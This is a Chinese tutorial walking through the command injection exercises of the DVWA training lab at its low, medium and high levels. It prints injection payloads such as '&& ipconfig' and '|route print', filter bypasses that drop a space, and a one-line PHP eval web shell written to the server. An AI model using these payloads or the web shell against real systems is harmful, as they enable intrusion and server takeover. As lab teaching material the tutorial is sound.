命令注入简介

命令注入(Command Injection, 又叫操作系统命令注入为shell注入):指在开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对输入参数进行严格过滤时,则有可能发生命令注入。

原因:

程序对输入与输出的控制不够严格,导致精心构造的命令输入在后台执行后产生危害。

危害:

攻击者可使用命令注入来执行系统终端命令,直接接管服务器的控制权限。

允许攻击者在运行应用程序的服务器上执行任意操作系统命令,并且会完全破坏应用程序及其所有数据。

乱码的解决

DVWA靶场之命令注入_服务器

在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可

DVWA靶场之命令注入_应用程序_02

low

192.168.7.28 && ipconfig

DVWA靶场之命令注入_应用程序_03

192.168.7.28 && dir

DVWA靶场之命令注入_php_04

192.168.7.28 && systeminfo

DVWA靶场之命令注入_php_05

能否上传木马

127.0.0.1 & echo “<?php @eval($_POST[cmd])?>” > webshell.php

DVWA靶场之命令注入_服务器_06

DVWA靶场之命令注入_php_07

medium

输入&&攻击命令,发现提示参数错误,表明有过滤,但是只针对了”&&”和”;”进行了过滤。

输入”IP & dir”时,同样可以攻击,表明没有对”&”过滤,”&&”和”&”是有区别的,”&&”是短路运算符,只有前一步执行成功才会执行后一步,而”&”则两个表达式都会执行。

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

Command 1 || Command 2

先执行Command 1,再执行Command 2;若Command 1成功,不执行Command 2;

Command 1| Command 2

先执行Command 1,再执行Command 2;不管Command 1是否成功,都会执行Command 2。

192.168.7.28 & ipconfig

DVWA靶场之命令注入_服务器_08

192.168.7.28 | ipconfig

DVWA靶场之命令注入_应用程序_09

192.168.7.28 | route print

DVWA靶场之命令注入_应用程序_10

high

DVWA靶场之命令注入_php_11

敏感的字符都被过滤了,但是 | 明显后面有个空格,所以如果不使用空格的话依然可以绕过

127.0.0.1 |ipconfig

DVWA靶场之命令注入_php_12

127.0.0.1 |route print

DVWA靶场之命令注入_服务器_13